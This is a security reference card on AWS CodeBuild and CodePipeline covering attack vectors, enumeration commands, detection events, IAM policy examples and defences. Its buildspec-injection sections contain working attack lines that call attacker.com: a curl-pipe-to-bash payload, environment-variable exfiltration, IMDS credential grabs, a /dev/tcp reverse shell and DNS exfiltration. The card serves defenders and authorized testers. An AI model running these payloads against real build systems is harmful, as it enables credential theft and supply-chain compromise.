Back to Security Cards
    AWS codebuild

    AWS CodeBuild & CodePipeline

    CI/CD

    CodeBuild and CodePipeline are AWS's CI/CD services for building, testing, and deploying applications. Attackers exploit build environments for code execution, credential theft from environment variables, and supply chain attacks through compromised build artifacts.

    CRITICAL
    Supply Chain Risk
    RCE
    Code Execution
    Secrets
    Credential Exposure
    Artifacts
    Poisoning Target

    ๐Ÿ“‹Service Overview

    Build Projects & Buildspecs

    CodeBuild projects define the build environment, source provider, and buildspec file that controls every build step. Buildspecs execute arbitrary shell commands with the project's IAM role permissions, making them a prime target for injecting malicious build steps.

    Environment Variables & Secrets

    Build projects store configuration as environment variables โ€” often including database credentials, API keys, and tokens. Variables can reference Secrets Manager or SSM Parameter Store, but plaintext variables are visible to anyone with codebuild:BatchGetProjects permissions.

    Artifacts & Build Output

    Build artifacts are stored in S3 and may be deployed directly to production. A compromised build can inject backdoors into application packages, container images, or deployment bundles โ€” creating supply chain attacks that propagate downstream.

    Security Risk Assessment

    LowMediumHighCritical
    9.0
    Risk Score

    CI/CD systems are prime targets for supply chain attacks. CodeBuild executes arbitrary code with powerful IAM roles. Environment variables often contain secrets. Compromised builds can poison production deployments.

    โš”๏ธ Attack Vectors

    Build Exploitation

    • โ€ขBuildspec injection via StartBuild
    • โ€ขEnvironment variable theft
    • โ€ขBuild role credential abuse
    • โ€ขArtifact poisoning/backdooring
    • โ€ขSource code manipulation

    โš ๏ธ Misconfigurations

    Common Issues

    • โ€ขSecrets in PLAINTEXT env vars
    • โ€ขOverly permissive build roles
    • โ€ขNo buildspec override protection
    • โ€ขUnencrypted artifact stores
    • โ€ขMissing build isolation (VPC)

    ๐Ÿ’€ Exploitation

    Techniques

    • โ€ขInject reverse shell in buildspec
    • โ€ขExfil credentials via curl
    • โ€ขPivot using build service role
    • โ€ขBackdoor container images
    • โ€ขModify deployment artifacts

    ๐Ÿ”‘ Credential Locations

    Secrets

    • โ€ขEnvironment variables (API)
    • โ€ขAWS_ACCESS_KEY_ID/SECRET
    • โ€ขIMDS role credentials
    • โ€ขSecrets Manager references
    • โ€ขBuild logs (if verbose)

    ๐Ÿ”— Supply Chain Risks

    Attack Surface

    • โ€ขCompromised build images
    • โ€ขMalicious dependencies
    • โ€ขPoisoned artifacts to S3/ECR
    • โ€ขBackdoored containers
    • โ€ขModified deployment configs

    ๐Ÿ›ก๏ธ Detection

    CloudTrail Events

    • โ€ขStartBuild (with override)
    • โ€ขUpdateProject
    • โ€ขBatchGetProjects (enum)
    • โ€ขUpdatePipeline
    • โ€ขImportSourceCredentials

    ๐Ÿ”€ CI/CD Pipeline Attack Surface

    ๐Ÿ“

    Source

    Code repo access

    ๐Ÿ”จ

    Build

    Code execution

    ๐Ÿงช

    Test

    Test manipulation

    ๐Ÿ“ฆ

    Artifacts

    Artifact poisoning

    ๐Ÿš€

    Deploy

    Production access

    ๐Ÿ” Enumeration Commands

    List Build Projects
    aws codebuild list-projects
    Get Project Details
    aws codebuild batch-get-projects --names my-project
    List Builds for Project
    aws codebuild list-builds-for-project --project-name my-project
    Get Build Details
    aws codebuild batch-get-builds --ids my-project:build-id
    List Pipelines
    aws codepipeline list-pipelines
    Get Pipeline Details
    aws codepipeline get-pipeline --name my-pipeline
    Get Environment Variables
    aws codebuild batch-get-projects --names my-project --query 'projects[].environment.environmentVariables'
    List Source Credentials
    aws codebuild list-source-credentials
    Start Build (RCE)
    aws codebuild start-build --project-name my-project --buildspec-override "version: 0.2\nphases:\n  build:\n    commands:\n      - curl attacker.com/shell.sh | bash"
    Get Build Logs
    aws logs get-log-events --log-group-name /aws/codebuild/my-project --log-stream-name build-id

    ๐Ÿ’‰ Buildspec Injection Attack

    With codebuild:StartBuild and --buildspec-override, attackers can execute arbitrary commands in the build environment:

    Credential Theft Buildspec

    version: 0.2
    phases:
      build:
        commands:
          # Dump environment variables
          - env | curl -X POST -d @- https://attacker.com/exfil
    
          # Get IMDS credentials
          - curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
    
          # Access AWS services with build role
          - aws s3 ls
          - aws secretsmanager list-secrets

    Reverse Shell Buildspec

    version: 0.2
    phases:
      install:
        commands:
          - apt-get update && apt-get install -y netcat
      build:
        commands:
          # Establish reverse shell
          - bash -i >& /dev/tcp/attacker.com/4444 0>&1
    
          # Or exfil via DNS
          - for line in $(env | base64 -w0 | fold -w63);
              do host $line.attacker.com; done

    โš ๏ธ Environment Variable Exposure

    CodeBuild projects often have secrets configured as environment variables, visible via API:

    # Get all environment variables for a project
    aws codebuild batch-get-projects \
      --names my-app-build \
      --query 'projects[].environment.environmentVariables'
    
    # Response includes:
    [{
      "name": "DB_PASSWORD",
      "value": "SuperSecret123!",
      "type": "PLAINTEXT"  # Visible in API!
    }]

    Common Exposed Secrets

    Database Credentials

    DB_HOST, DB_USER, DB_PASSWORD

    AWS Access Keys

    AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY

    API Tokens

    GITHUB_TOKEN, NPM_TOKEN, DOCKER_PASSWORD

    Third-Party Keys

    SLACK_TOKEN, STRIPE_KEY, TWILIO_TOKEN

    ๐Ÿ“œ Policy Examples

    โœ—Dangerous - Overly Permissive Build Role
    {
      "Effect": "Allow",
      "Action": "*",
      "Resource": "*"
    }
    
    // Build role with full access enables:
    // - Access any S3 bucket
    // - Read all secrets
    // - Assume other roles

    Build role with broad access enables lateral movement to any AWS resource

    โœ“Secure - Scoped Build Role
    {
      "Effect": "Allow",
      "Action": [
        "logs:CreateLogGroup",
        "logs:PutLogEvents"
      ],
      "Resource": "arn:aws:logs:*:*:/aws/codebuild/*"
    },
    {
      "Effect": "Allow",
      "Action": "s3:PutObject",
      "Resource": "arn:aws:s3:::build-artifacts/*"
    }

    Limited to only required build operations - logs and artifact storage

    โœ—Dangerous - StartBuild with Override
    {
      "Effect": "Allow",
      "Action": [
        "codebuild:StartBuild",
        "codebuild:BatchGetProjects"
      ],
      "Resource": "*"
    }
    
    # Attacker can override buildspec with:
    # - Malicious commands
    # - Credential theft
    # - Reverse shells

    Allows buildspec override for arbitrary code execution in build environment

    โœ“Secure - Block Buildspec Override
    {
      "Effect": "Allow",
      "Action": "codebuild:StartBuild",
      "Resource": "arn:aws:codebuild:*:*:project/my-*",
      "Condition": {
        "Null": {
          "codebuild:BuildSpecOverride": "true"
        }
      }
    }
    
    // Cannot override buildspec - uses project config

    Uses IAM condition to prevent buildspec override attacks

    ๐ŸŽฏ Real-World Attack Scenarios

    Supply Chain Attack

    1. Gain access to source repository
    2. Modify buildspec.yml with backdoor
    3. Backdoor gets built into artifacts
    4. Poisoned artifacts deployed to production
    5. All users receive compromised application

    Credential Theft via Build

    1. Start build with --buildspec-override
    2. Inject commands to dump environment
    3. Exfiltrate AWS credentials and secrets
    4. Use build role for further access
    5. Pivot to production resources

    Container Image Poisoning

    1. Access CodeBuild project building Docker images
    2. Modify Dockerfile or inject into build
    3. Add backdoor to container image
    4. Poisoned image pushed to ECR
    5. ECS/EKS deploys compromised containers

    Pipeline Takeover

    1. Enumerate pipelines and stages
    2. Modify pipeline with new malicious stage
    3. Add Lambda action with attacker code
    4. Pipeline executes attacker's Lambda
    5. Gain access to deploy role/environment

    ๐Ÿ›ก๏ธ Defense Recommendations

    ๐Ÿ”‘

    Use Secrets Manager References

    Never use PLAINTEXT environment variables - reference Secrets Manager instead.

    Type: SECRETS_MANAGER, Value: arn:aws:secretsmanager:...
    ๐Ÿšซ

    Block Buildspec Override

    Use IAM conditions to prevent buildspec override in StartBuild calls.

    Condition: Null: codebuild:BuildSpecOverride: true
    ๐Ÿ”’

    Least Privilege Build Roles

    Scope build roles to minimum required permissions for the build.

    Only S3, ECR, and CloudWatch Logs for most builds
    ๐ŸŒ

    Enable VPC for Builds

    Run builds in VPC to control network access and prevent data exfiltration.

    ๐Ÿ“

    Sign Build Artifacts

    Sign build artifacts and verify signatures before deployment.

    Use AWS Signer or Cosign for container images
    ๐Ÿ‘๏ธ

    Monitor Build Activity

    Alert on StartBuild with overrides, new projects, and credential access.

    Related Services to Investigate

    ๐Ÿ“ฆ

    ECR

    Container registry

    ๐Ÿชฃ

    S3

    Artifact storage

    ๐Ÿ”‘

    Secrets Manager

    Credential storage

    ๐Ÿ“‚

    CodeCommit

    Source repository

    AWS CodeBuild/CodePipeline Security Card โ€ข Toc Consulting

    Always obtain proper authorization before testing